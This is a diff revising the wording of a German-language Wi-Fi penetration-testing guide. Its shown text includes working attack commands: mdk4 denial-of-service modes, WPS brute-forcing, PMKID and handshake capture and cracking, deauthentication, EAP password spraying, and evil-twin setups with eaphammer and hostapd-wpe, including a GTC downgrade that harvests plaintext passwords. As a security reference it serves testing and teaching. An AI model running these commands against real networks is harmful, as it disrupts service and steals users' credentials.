+**Disassoziationspakete**, ähnlich wie Deauthentifizierungspakete, sind eine Art von Management-Frame, die in Wi-Fi-Netzwerken verwendet werden. Diese Pakete dienen dazu, die Verbindung zwischen einem Gerät (wie einem Laptop oder Smartphone) und einem Access Point (AP) zu trennen. Der Hauptunterschied zwischen Disassoziation und Deauthentifizierung liegt in ihren Nutzungsszenarien. Während ein AP **Deauthentifizierungspakete sendet, um bösartige Geräte ausdrücklich aus dem Netzwerk zu entfernen, werden Disassoziationspakete typischerweise gesendet, wenn der AP heruntergefahren wird**, neu gestartet wird oder sich bewegt, wodurch die Trennung aller verbundenen Knoten erforderlich wird.
 
 **Dieser Angriff kann mit mdk4 (Modus "d") durchgeführt werden:**
 ```bash
@@ -157,7 +157,7 @@ Die Abfrage von Access Points (APs) überprüft, ob ein SSID ordnungsgemäß ang
 
 **ANGRIFFSMODUS m: Ausnutzung von Michael-Gegenmaßnahmen**
 
-Das Senden von zufälligen oder doppelten Paketen an verschiedene QoS-Warteschlangen kann Michael-Gegenmaßnahmen auf **TKIP APs** auslösen, was zu einer einminütigen Abschaltung des APs führt. Diese Methode ist eine effiziente Taktik für **DoS** (Denial of Service) Angriffe.
+Das Senden von zufälligen oder doppelten Paketen an verschiedene QoS-Warteschlangen kann Michael-Gegenmaßnahmen auf **TKIP-APs** auslösen, was zu einer einminütigen Abschaltung des APs führt. Diese Methode ist eine effiziente Taktik für einen **DoS** (Denial of Service) Angriff.
 ```bash
 # -t <BSSID> of a TKIP AP
 # -j use inteligent replay to create the DoS
@@ -165,7 +165,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
 ```
 **ANGRIFFSMODUS e: EAPOL Start- und Logoff-Paket-Injektion**
 
-Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überlastet den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung der Clients, wobei beide Methoden den Netzwerkdienst effektiv stören.
+Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überwältigt den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung der Clients; beide Methoden stören effektiv den Netzwerkdienst.
 ```bash
 # Use Logoff messages to kick clients
 mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@@ -200,7 +200,7 @@ WPS (Wi-Fi Protected Setup) vereinfacht den Prozess der Verbindung von Geräten
 Es gibt 2 Hauptwerkzeuge, um diese Aktion durchzuführen: Reaver und Bully.
 
 - **Reaver** wurde entwickelt, um einen robusten und praktischen Angriff gegen WPS zu ermöglichen und wurde gegen eine Vielzahl von Zugangspunkten und WPS-Implementierungen getestet.
-- **Bully** ist eine **neue Implementierung** des WPS-Brute-Force-Angriffs, geschrieben in C. Es hat mehrere Vorteile gegenüber dem ursprünglichen Reaver-Code: weniger Abhängigkeiten, verbesserte Speicher- und CPU-Leistung, korrekte Handhabung der Endianness und eine robustere Auswahl an Optionen.
+- **Bully** ist eine **neue Implementierung** des WPS-Brute-Force-Angriffs, geschrieben in C. Es hat mehrere Vorteile gegenüber dem ursprünglichen Reaver-Code: weniger Abhängigkeiten, verbesserte Speicher- und CPU-Leistung, korrekte Handhabung der Endianness und ein robusteres Set von Optionen.
 
 Der Angriff nutzt die **Anfälligkeit der WPS-PIN**, insbesondere die Offenlegung der ersten vier Ziffern und die Rolle der letzten Ziffer als Prüfziffer, was den Brute-Force-Angriff erleichtert. Allerdings erfordern Abwehrmaßnahmen gegen Brute-Force-Angriffe, wie das **Blockieren von MAC-Adressen** aggressiver Angreifer, eine **MAC-Adressrotation**, um den Angriff fortzusetzen.
 
@@ -218,7 +218,7 @@ Dieser verfeinerte Ansatz zielt auf WPS-PINs ab, die bekannte Schwachstellen nut
 
 ### WPS Pixie Dust attack
 
-**Dominique Bongard** entdeckte einen Fehler in einigen Access Points (APs) bezüglich der Erstellung von geheimen Codes, bekannt als **Nonces** (**E-S1** und **E-S2**). Wenn diese Nonces herausgefunden werden können, wird das Knacken des WPS-PINs des APs einfach. Der AP gibt den PIN innerhalb eines speziellen Codes (Hash) preis, um zu beweisen, dass er legitim und kein gefälschter (rogue) AP ist. Diese Nonces sind im Wesentlichen die "Schlüssel", um den "Safe" zu öffnen, der den WPS-PIN enthält. Mehr dazu finden Sie [hier](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
+**Dominique Bongard** entdeckte einen Fehler in einigen Access Points (APs) bezüglich der Erstellung von geheimen Codes, bekannt als **nonces** (**E-S1** und **E-S2**). Wenn diese nonces herausgefunden werden können, wird das Knacken des WPS-PINs des APs einfach. Der AP gibt den PIN innerhalb eines speziellen Codes (Hash) preis, um zu beweisen, dass er legitim und kein gefälschter (rogue) AP ist. Diese nonces sind im Wesentlichen die "Schlüssel", um den "Safe" zu öffnen, der den WPS-PIN enthält. Mehr dazu finden Sie [hier](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
 
 Einfach ausgedrückt, das Problem ist, dass einige APs nicht ausreichend zufällige Schlüssel zur Verschlüsselung des PINs während des Verbindungsprozesses verwendet haben. Dies macht den PIN anfällig dafür, von außerhalb des Netzwerks (Offline-Brute-Force-Angriff) erraten zu werden.
 ```bash
@@ -241,10 +241,10 @@ Alle vorgeschlagenen WPS-Angriffe können einfach mit _**airgeddon.**_ durchgef
 
 ![](<../../images/image (219).png>)
 
-- 5 und 6 ermöglichen es Ihnen, **Ihren benutzerdefinierten PIN** auszuprobieren (wenn Sie einen haben)
+- 5 und 6 ermöglichen es Ihnen, **Ihren benutzerdefinierten PIN** auszuprobieren (falls Sie einen haben)
 - 7 und 8 führen den **Pixie Dust Angriff** durch
 - 13 ermöglicht es Ihnen, den **NULL PIN** zu testen
-- 11 und 12 werden **die PINs, die mit dem ausgewählten AP aus verfügbaren Datenbanken verbunden sind, sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
+- 11 und 12 werden **die mit dem ausgewählten AP verbundenen PINs aus verfügbaren Datenbanken sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
 - 9 und 10 testen **jeden möglichen PIN**
 
 ## **WEP**
@@ -263,13 +263,13 @@ So kaputt und heutzutage ungenutzt. Wissen Sie einfach, dass _**airgeddon**_ ein
 
 Im Jahr 2018 enthüllte **hashcat** [eine neue Angriffsmethode](https://hashcat.net/forum/thread-7717.html), die einzigartig ist, da sie nur **ein einzelnes Paket** benötigt und keine Clients benötigt, die mit dem Ziel-AP verbunden sind – nur Interaktion zwischen dem Angreifer und dem AP.
 
-Viele moderne Router fügen während der Assoziation ein **optional Feld** zum **ersten EAPOL**-Frame hinzu, bekannt als `Robust Security Network`. Dies umfasst die `PMKID`.
+Viele moderne Router fügen während der Assoziation ein **optional Feld** zum **ersten EAPOL**-Frame hinzu, bekannt als `Robust Security Network`. Dies beinhaltet die `PMKID`.
 
 Wie der ursprüngliche Beitrag erklärt, wird die **PMKID** mit bekannten Daten erstellt:
 ```bash
 PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
 ```
-Da der "PMK-Name" konstant ist, kennen wir die BSSID des AP und der Station, und das `PMK` ist identisch mit dem aus einem vollständigen 4-Wege-Handshake, kann **hashcat** diese Informationen nutzen, um den PSK zu knacken und das Passwort wiederherzustellen!
+Angesichts der Tatsache, dass der "PMK-Name" konstant ist, kennen wir die BSSID des AP und der Station, und das `PMK` identisch mit dem aus einem vollständigen 4-Wege-Handshake ist, kann **hashcat** diese Informationen nutzen, um den PSK zu knacken und das Passwort wiederherzustellen!
 
 Um diese Informationen zu **sammeln** und das Passwort lokal zu **bruteforcen**, kannst du Folgendes tun:
 ```bash
@@ -315,9 +315,9 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
 ```bash
 aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
 ```
-_Hinweis: Da der Client deauthentifiziert wurde, könnte er versuchen, sich mit einem anderen AP oder in anderen Fällen mit einem anderen Netzwerk zu verbinden._
+_Beachten Sie, dass der Client, nachdem er deauthentifiziert wurde, versuchen könnte, sich mit einem anderen AP oder in anderen Fällen mit einem anderen Netzwerk zu verbinden._
 
-Sobald in `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
+Sobald im `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
 
 ![](<../../images/image (172) (1).png>)
 
@@ -325,7 +325,7 @@ Sobald der Handshake erfasst ist, können Sie ihn mit `aircrack-ng` **knacken**:
 ```
 aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
 ```
-### Überprüfen, ob der Handshake in der Datei ist
+### Überprüfen, ob Handshake in der Datei
 
 **aircrack**
 ```bash
@@ -348,7 +348,7 @@ pyrit -r psk-01.cap analyze
 ```
 ## **WPA Enterprise (MGT)**
 
-In **Enterprise-WiFi-Setups werden Sie auf verschiedene Authentifizierungsmethoden stoßen**, die jeweils unterschiedliche Sicherheitsniveaus und Verwaltungsfunktionen bieten. Wenn Sie Tools wie `airodump-ng` verwenden, um den Netzwerkverkehr zu inspizieren, könnten Sie Identifikatoren für diese Authentifizierungstypen bemerken. Zu den gängigen Methoden gehören:
+In **Enterprise-WiFi-Setups werden Sie auf verschiedene Authentifizierungsmethoden stoßen**, die jeweils unterschiedliche Sicherheitsniveaus und Verwaltungsfunktionen bieten. Wenn Sie Tools wie `airodump-ng` verwenden, um den Netzwerkverkehr zu inspizieren, könnten Sie Bezeichner für diese Authentifizierungstypen bemerken. Zu den gängigen Methoden gehören:
 ```
 6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
 ```
@@ -369,9 +369,9 @@ Sie finden weitere Informationen zu diesen Authentifizierungsmethoden [hier](htt
 
 ### Benutzername erfassen
 
-Laut [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sieht es so aus, als ob, wenn Sie **EAP** verwenden, die **"Identitäts"** **Nachrichten** **unterstützt** werden müssen, und der **Benutzername** wird in den **"Response Identity"** Nachrichten im **Klartext** gesendet.
+Laut [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sieht es so aus, als ob, wenn Sie **EAP** verwenden, die **"Identitäts"** **nachrichten** **unterstützt** werden müssen, und der **benutzername** wird in den **"Response Identity"** Nachrichten im **Klartext** gesendet.
 
-Selbst bei Verwendung einer der sichersten Authentifizierungsmethoden: **PEAP-EAP-TLS**, ist es möglich, den **Benutzernamen, der im EAP-Protokoll gesendet wird, zu erfassen**. Dazu **erfassen Sie eine Authentifizierungscommunication** (starten Sie `airodump-ng` in einem Kanal und `wireshark` im selben Interface) und filtern Sie die Pakete nach `eapol`.\
+Selbst bei Verwendung einer der sichersten Authentifizierungsmethoden: **PEAP-EAP-TLS**, ist es möglich, den **Benutzernamen, der im EAP-Protokoll gesendet wird, zu erfassen**. Dazu **erfassen Sie eine Authentifizierungs Kommunikation** (starten Sie `airodump-ng` in einem Kanal und `wireshark` in derselben Schnittstelle) und filtern Sie die Pakete nach `eapol`.\
 Im Paket "**Response, Identity**" wird der **Benutzername** des Clients erscheinen.
 
 ![](<../../images/image (850).png>)
@@ -381,22 +381,22 @@ Im Paket "**Response, Identity**" wird der **Benutzername** des Clients erschein
 Die Identitätsverbergung wird sowohl von EAP-PEAP als auch von EAP-TTLS unterstützt. Im Kontext eines WiFi-Netzwerks wird eine EAP-Identitätsanforderung typischerweise vom Access Point (AP) während des Assoziationsprozesses initiiert. Um den Schutz der Anonymität der Benutzer zu gewährleisten, enthält die Antwort des EAP-Clients auf dem Gerät des Benutzers nur die wesentlichen Informationen, die der ursprüngliche RADIUS-Server benötigt, um die Anfrage zu verarbeiten. Dieses Konzept wird durch die folgenden Szenarien veranschaulicht:
 
 - EAP-Identität = anonym
-- In diesem Szenario verwenden alle Benutzer das Pseudonym "anonym" als ihre Benutzerkennung. Der ursprüngliche RADIUS-Server fungiert entweder als EAP-PEAP- oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-)RADIUS-Server delegiert.
+- In diesem Szenario verwenden alle Benutzer das pseudonyme "anonym" als ihre Benutzerkennung. Der ursprüngliche RADIUS-Server fungiert entweder als EAP-PEAP- oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-)RADIUS-Server delegiert.
 - EAP-Identität = anonym@realm_x
 - In dieser Situation verbergen Benutzer aus verschiedenen Bereichen ihre Identitäten, während sie ihre jeweiligen Bereiche angeben. Dies ermöglicht es dem ursprünglichen RADIUS-Server, die EAP-PEAP- oder EAP-TTLS-Anfragen an RADIUS-Server in ihren Heimatbereichen weiterzuleiten, die als PEAP- oder TTLS-Server fungieren. Der ursprüngliche RADIUS-Server fungiert ausschließlich als RADIUS-Relay-Knoten.
 - Alternativ kann der ursprüngliche RADIUS-Server als EAP-PEAP- oder EAP-TTLS-Server fungieren und entweder die geschützte Authentifizierungsmethode behandeln oder an einen anderen Server weiterleiten. Diese Option erleichtert die Konfiguration unterschiedlicher Richtlinien für verschiedene Bereiche.
 
 In EAP-PEAP, sobald der TLS-Tunnel zwischen dem PEAP-Server und dem PEAP-Client eingerichtet ist, initiiert der PEAP-Server eine EAP-Identitätsanforderung und überträgt sie durch den TLS-Tunnel. Der Client antwortet auf diese zweite EAP-Identitätsanforderung, indem er eine EAP-Identitätsantwort sendet, die die wahre Identität des Benutzers durch den verschlüsselten Tunnel enthält. Dieser Ansatz verhindert effektiv die Offenlegung der tatsächlichen Identität des Benutzers gegenüber jedem, der den 802.11-Verkehr abhört.
 
-EAP-TTLS folgt einem etwas anderen Verfahren. Bei EAP-TTLS authentifiziert sich der Client typischerweise mit PAP oder CHAP, gesichert durch den TLS-Tunnel. In diesem Fall enthält der Client ein User-Name-Attribut und entweder ein Passwort- oder CHAP-Passwort-Attribut in der ursprünglichen TLS-Nachricht, die nach der Tunnelherstellung gesendet wird.
+EAP-TTLS folgt einem etwas anderen Verfahren. Bei EAP-TTLS authentifiziert sich der Client typischerweise mit PAP oder CHAP, gesichert durch den TLS-Tunnel. In diesem Fall enthält der Client ein User-Name-Attribut und entweder ein Passwort- oder CHAP-Passwort-Attribut in der ersten TLS-Nachricht, die nach der Tunnelherstellung gesendet wird.
 
-Unabhängig vom gewählten Protokoll erlangt der PEAP/TTLS-Server Kenntnis von der wahren Identität des Benutzers, nachdem der TLS-Tunnel eingerichtet wurde. Die wahre Identität kann als user@realm oder einfach user dargestellt werden. Wenn der PEAP/TTLS-Server auch für die Authentifizierung des Benutzers verantwortlich ist, besitzt er nun die Identität des Benutzers und fährt mit der durch den TLS-Tunnel geschützten Authentifizierungsmethode fort. Alternativ kann der PEAP/TTLS-Server eine neue RADIUS-Anfrage an den Heim-RADIUS-Server des Benutzers weiterleiten. Diese neue RADIUS-Anfrage lässt die PEAP- oder TTLS-Protokollebene weg. In Fällen, in denen die geschützte Authentifizierungsmethode EAP ist, werden die inneren EAP-Nachrichten ohne die PEAP- oder EAP-TTLS-Hülle an den Heim-RADIUS-Server übertragen. Das User-Name-Attribut der ausgehenden RADIUS-Nachricht enthält die wahre Identität des Benutzers und ersetzt den anonymen User-Name aus der eingehenden RADIUS-Anfrage. Wenn die geschützte Authentifizierungsmethode PAP oder CHAP (nur von TTLS unterstützt) ist, werden das User-Name-Attribut und andere Authentifizierungsattribute, die aus der TLS-Nutzlast extrahiert wurden, in der ausgehenden RADIUS-Nachricht ersetzt, wodurch der anonyme User-Name und die TTLS EAP-Message-Attribute aus der eingehenden RADIUS-Anfrage verdrängt werden.
+Unabhängig vom gewählten Protokoll erlangt der PEAP/TTLS-Server Kenntnis von der wahren Identität des Benutzers, nachdem der TLS-Tunnel eingerichtet wurde. Die wahre Identität kann als user@realm oder einfach als user dargestellt werden. Wenn der PEAP/TTLS-Server auch für die Authentifizierung des Benutzers verantwortlich ist, besitzt er nun die Identität des Benutzers und fährt mit der durch den TLS-Tunnel geschützten Authentifizierungsmethode fort. Alternativ kann der PEAP/TTLS-Server eine neue RADIUS-Anfrage an den Heim-RADIUS-Server des Benutzers weiterleiten. Diese neue RADIUS-Anfrage lässt die PEAP- oder TTLS-Protokollschicht weg. In Fällen, in denen die geschützte Authentifizierungsmethode EAP ist, werden die inneren EAP-Nachrichten ohne die EAP-PEAP- oder EAP-TTLS-Hülle an den Heim-RADIUS-Server übertragen. Das User-Name-Attribut der ausgehenden RADIUS-Nachricht enthält die wahre Identität des Benutzers und ersetzt den anonymen User-Name aus der eingehenden RADIUS-Anfrage. Wenn die geschützte Authentifizierungsmethode PAP oder CHAP (nur von TTLS unterstützt) ist, werden das User-Name-Attribut und andere Authentifizierungsattribute, die aus der TLS-Nutzlast extrahiert wurden, in der ausgehenden RADIUS-Nachricht ersetzt, wodurch der anonyme User-Name und die TTLS EAP-Message-Attribute aus der eingehenden RADIUS-Anfrage verdrängt werden.
 
 Für weitere Informationen siehe [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
 
 ### EAP-Bruteforce (Passwortspray)
 
-Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig ist**), könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächsten Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
+Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig sein wird**), könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächsten Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
 ```bash
 ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
 ```
@@ -413,15 +413,15 @@ Sie könnten diesen Angriff auch mit `eaphammer` durchführen:
 ### Netzwerk Auswahl und Roaming
 
 - Das 802.11-Protokoll definiert, wie eine Station einem Extended Service Set (ESS) beitritt, spezifiziert jedoch nicht die Kriterien zur Auswahl eines ESS oder eines Access Points (AP) innerhalb davon.
-- Stationen können zwischen APs mit demselben ESSID umherwandern und die Konnektivität über ein Gebäude oder Gebiet aufrechterhalten.
+- Stationen können zwischen APs, die dasselbe ESSID teilen, umherwandern und die Konnektivität über ein Gebäude oder Gebiet aufrechterhalten.
-- Das Protokoll erfordert die Authentifizierung der Station zum ESS, schreibt jedoch keine Authentifizierung des APs zur Station vor.
+- Das Protokoll erfordert die Authentifizierung der Station zum ESS, verlangt jedoch keine Authentifizierung des APs zur Station.
 
 ### Bevorzugte Netzwerklisten (PNLs)
 
 - Stationen speichern die ESSID jedes drahtlosen Netzwerks, mit dem sie sich verbinden, in ihrer Bevorzugten Netzwerk Liste (PNL), zusammen mit netzwerkspezifischen Konfigurationsdetails.
 - Die PNL wird verwendet, um automatisch eine Verbindung zu bekannten Netzwerken herzustellen, was die Benutzererfahrung verbessert, indem der Verbindungsprozess optimiert wird.
 
-### Passive Scanning
+### Passive Scans
 
 - APs senden regelmäßig Beacon-Frames aus, die ihre Präsenz und Merkmale ankündigen, einschließlich der ESSID des APs, es sei denn, das Broadcasting ist deaktiviert.
 - Während des passiven Scannens hören Stationen auf Beacon-Frames. Wenn die ESSID eines Beacons mit einem Eintrag in der PNL der Station übereinstimmt, kann die Station automatisch eine Verbindung zu diesem AP herstellen.
@@ -430,7 +430,7 @@ Sie könnten diesen Angriff auch mit `eaphammer` durchführen:
 ### Aktives Probing
 
 - Aktives Probing beinhaltet, dass Stationen Probe-Anfragen senden, um nahegelegene APs und deren Eigenschaften zu entdecken.
-- Gerichtete Probe-Anfragen zielen auf eine spezifische ESSID ab und helfen zu erkennen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
+- Gezielt gerichtete Probe-Anfragen zielen auf eine bestimmte ESSID ab und helfen festzustellen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
 - Broadcast-Probe-Anfragen haben ein leeres SSID-Feld und werden an alle nahegelegenen APs gesendet, sodass die Station nach einem bevorzugten Netzwerk suchen kann, ohne den Inhalt ihrer PNL offenzulegen.
 
 ## Einfacher AP mit Umleitung ins Internet
@@ -501,7 +501,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
 ```
 ## Evil Twin
 
-Ein Evil Twin-Angriff nutzt die Art und Weise aus, wie WiFi-Clients Netzwerke erkennen, wobei hauptsächlich der Netzwerkname (ESSID) verwendet wird, ohne dass die Basisstation (Zugangspunkt) sich gegenüber dem Client authentifizieren muss. Wichtige Punkte sind:
+Ein Evil Twin-Angriff nutzt die Art und Weise aus, wie WiFi-Clients Netzwerke erkennen, wobei hauptsächlich auf den Netzwerknamen (ESSID) vertraut wird, ohne dass die Basisstation (Zugangspunkt) sich gegenüber dem Client authentifizieren muss. Wichtige Punkte sind:
 
 - **Schwierigkeit bei der Unterscheidung**: Geräte haben Schwierigkeiten, zwischen legitimen und bösartigen Zugangspunkten zu unterscheiden, wenn sie denselben ESSID und denselben Verschlüsselungstyp verwenden. In der realen Welt verwenden Netzwerke oft mehrere Zugangspunkte mit demselben ESSID, um die Abdeckung nahtlos zu erweitern.
 - **Client-Roaming und Verbindungsmanipulation**: Das 802.11-Protokoll ermöglicht es Geräten, zwischen Zugangspunkten innerhalb desselben ESS zu wechseln. Angreifer können dies ausnutzen, indem sie ein Gerät dazu verleiten, sich von seiner aktuellen Basisstation zu trennen und sich mit einem bösartigen zu verbinden. Dies kann erreicht werden, indem ein stärkeres Signal angeboten oder die Verbindung zum legitimen Zugangspunkt durch Methoden wie Deauthentifizierungs-Pakete oder Störungen unterbrochen wird.
@@ -519,13 +519,13 @@ Oder mit Airgeddon: `Options: 5,6,7,8,9 (im Evil Twin Angriffsmenü).`
 
 ![](<../../images/image (1088).png>)
 
-Bitte beachten Sie, dass ein ESSID in der PNL standardmäßig als WPA-geschützt gespeichert ist, das Gerät sich nicht automatisch mit einem offenen Evil Twin verbindet. Sie können versuchen, den echten AP zu DoS'en und hoffen, dass der Benutzer manuell mit Ihrem offenen Evil Twin verbindet, oder Sie könnten den echten AP DoS'en und einen WPA Evil Twin verwenden, um den Handshake zu erfassen (mit dieser Methode können Sie das Opfer nicht zu sich verbinden lassen, da Sie den PSK nicht kennen, aber Sie können den Handshake erfassen und versuchen, ihn zu knacken).
+Bitte beachten Sie, dass standardmäßig, wenn ein ESSID im PNL als WPA-geschützt gespeichert ist, das Gerät sich nicht automatisch mit einem offenen Evil Twin verbindet. Sie können versuchen, den echten AP zu DoS'en und hoffen, dass der Benutzer manuell mit Ihrem offenen Evil Twin verbindet, oder Sie könnten den echten AP DoS'en und einen WPA Evil Twin verwenden, um den Handshake zu erfassen (mit dieser Methode können Sie das Opfer nicht zu sich verbinden lassen, da Sie den PSK nicht kennen, aber Sie können den Handshake erfassen und versuchen, ihn zu knacken).
 
 _Einige Betriebssysteme und Antivirenprogramme warnen den Benutzer, dass die Verbindung zu einem offenen Netzwerk gefährlich ist..._
 
 ### WPA/WPA2 Evil Twin
 
-Sie können einen **Evil Twin mit WPA/2** erstellen, und wenn die Geräte so konfiguriert sind, dass sie sich mit diesem SSID über WPA/2 verbinden, werden sie versuchen, sich zu verbinden. Um den **4-Wege-Handshake abzuschließen**, müssen Sie auch das **Passwort** kennen, das der Client verwenden wird. Wenn Sie es **nicht wissen**, wird die **Verbindung nicht abgeschlossen**.
+Sie können einen **Evil Twin mit WPA/2** erstellen, und wenn die Geräte so konfiguriert sind, dass sie sich mit diesem SSID über WPA/2 verbinden, werden sie versuchen, sich zu verbinden. Jedenfalls müssen Sie **auch wissen**, welches **Passwort** der Client verwenden wird, um den **4-Wege-Handshake** abzuschließen. Wenn Sie es **nicht wissen**, wird die **Verbindung nicht abgeschlossen**.
 ```bash
 ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
 ```
@@ -540,9 +540,9 @@ Um diese Angriffe zu verstehen, empfehle ich, vorher die kurze [WPA Enterprise E
 ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
 hostapd-wpe ./victim/victim.conf -s
 ```
-In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie SSID, Kanal, Benutzerdateien, Cret/Key, DH-Parameter, WPA-Version und Auth...
+In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie SSID, Kanal, Benutzerdaten, Cret/Key, DH-Parameter, WPA-Version und Auth...
 
-[**Verwendung von hostapd-wpe mit EAP-TLS, um jede Zertifizierung anzumelden.**](evil-twin-eap-tls.md)
+[**Verwendung von hostapd-wpe mit EAP-TLS, um jede Zertifikat-Anmeldung zu ermöglichen.**](evil-twin-eap-tls.md)
 
 **Verwendung von EAPHammer**
 ```bash
@@ -552,18 +552,18 @@ In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie
 # Launch Attack
 ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
 ```
-Standardmäßig zielt EAPHammer auf diese Authentifizierungsmethoden ab (beachten Sie GTC als die erste, um im Klartext gespeicherte Passwörter zu erhalten, und dann die Verwendung robusterer Authentifizierungsmethoden):
+Standardmäßig zielt EAPHammer auf diese Authentifizierungsmethoden ab (beachten Sie GTC als die erste, die versucht, Klartextpasswörter zu erhalten, und dann die Verwendung robusterer Authentifizierungsmethoden):
 ```
 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
 ```
-Dies ist die Standardmethodik, um lange Verbindungszeiten zu vermeiden. Sie können jedoch auch angeben, die Authentifizierungsmethoden von der schwächsten bis zur stärksten zu servieren:
+Dies ist die Standardmethodik, um lange Verbindungszeiten zu vermeiden. Sie können jedoch auch angeben, die Authentifizierungsmethoden von der schwächsten bis zur stärksten zu servern:
 ```
 --negotiate weakest
 ```
 Oder Sie könnten auch verwenden:
 
 - `--negotiate gtc-downgrade`, um eine hocheffiziente GTC-Downgrade-Implementierung (Klartext-Passwörter) zu verwenden.
-- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`, um die angebotenen Methoden manuell anzugeben (das Anbieten der gleichen Authentifizierungsmethoden in der gleichen Reihenfolge wie die Organisation macht den Angriff viel schwieriger zu erkennen).
+- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`, um die angebotenen Methoden manuell anzugeben (wenn die gleichen Authentifizierungsmethoden in der gleichen Reihenfolge angeboten werden, wird der Angriff viel schwieriger zu erkennen sein).
 - [Weitere Informationen im Wiki finden](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
 
 **Verwendung von Airgeddon**
@@ -603,7 +603,7 @@ Verschiedene Arten von Media Access Control Filterlisten (MFACLs) und deren ents
 2. **MAC-basierte Blacklist**:
 - Der bösartige AP ignoriert Abfrageanfragen von Geräten auf der Blacklist, wodurch der bösartige AP für diese spezifischen Geräte unsichtbar wird.
 3. **SSID-basierte Whitelist**:
-- Der bösartige AP antwortet nur auf Abfrageanfragen für spezifische ESSIDs, die aufgelistet sind, und bleibt unsichtbar für Geräte, deren Bevorzugte Netzwerklisten (PNLs) diese ESSIDs nicht enthalten.
+- Der bösartige AP antwortet nur auf Abfrageanfragen für spezifische ESSIDs, die aufgelistet sind, und bleibt für Geräte, deren Bevorzugte Netzwerklisten (PNLs) diese ESSIDs nicht enthalten, unsichtbar.
 4. **SSID-basierte Blacklist**:
 - Der bösartige AP antwortet nicht auf Abfrageanfragen für die spezifischen ESSIDs auf der Blacklist, wodurch er für Geräte, die nach diesen bestimmten Netzwerken suchen, unsichtbar wird.
 ```bash
@@ -631,7 +631,7 @@ Diese Methode ermöglicht es einem **Angreifer, einen bösartigen Access Point (
 
 ### MANA
 
-Dann **begannen Geräte, unsichere Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probe-Anfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten als sicher eingestuft wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
